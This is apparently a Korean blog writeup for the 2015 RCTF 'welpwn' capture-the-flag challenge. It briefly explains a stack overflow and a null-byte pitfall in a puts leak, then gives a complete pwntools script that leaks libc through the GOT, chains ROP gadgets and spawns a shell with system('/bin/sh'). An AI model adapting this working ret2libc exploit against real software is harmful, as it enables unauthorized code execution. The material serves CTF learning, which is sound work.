2015 rctf welpwn
puts
로 leak
이 안돼서 어리둥절 하고 있었는데 그 이유는
got
값 1바이트가 \x00
이기 때문이었다.. 주의하십쇼
main
에서 0x400
만큼 입력을 받고 echo
함수의 버퍼에 복사해 주는데 여기서 오버플로우가 일어난다.
근데 BYTE
형태로 조건문이 되어있어 한 바이트만 ret
을 덮어씌울 수 있다.
main
의 buf
가 바로 아래에 있어 이를 이용하여 rop
를 때릴 수 있다.
from pwn import *
#context.log_level = 'debug'
e = ELF('./welpwn')
s = process(e.path)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
pop_r12_r13_r14_r15 = 0x40089c
pop_rdi = 0x4008a3
pop_rsi_r15 = 0x4008a1
fmt = 0x4008E4 # %s
######## libc leak ###########
ru('RCTF\n')
pay = 'A'*0x18
pay += p64(pop_r12_r13_r14_r15)
pay += p64(pop_rdi)
pay += p64(e.got['read'])
pay += p64(e.plt['puts'])
pay += p64(0x4007cd)
sl(pay)
ru('\x9c\x08\x40')
libc_base = u64(s.recv(6).ljust(8,'\x00')) - l.symbols['read']
print('libc_base!: {}'.format(hex(libc_base)))
system = libc_base + l.symbols['system']
binsh = libc_base + 0x18cd57
######### system("/bin/sh") ##########
ru('RCTF\n')
pay = 'A'*0x18
pay += p64(pop_r12_r13_r14_r15)
pay += p64(pop_rdi)
pay += p64(binsh)
pay += p64(system)
sl(pay)
io()
'system > writeup' 카테고리의 다른 글
pwnable.tw tcache tear (0) | 2019.02.09 |
---|---|
pwnable.tw seethefile (0) | 2019.02.06 |
2016 belluminar remuheap (0) | 2019.02.06 |
2014 31c3 mynx (0) | 2019.02.04 |
nullcon hackim 2019 easy-shell (0) | 2019.02.03 |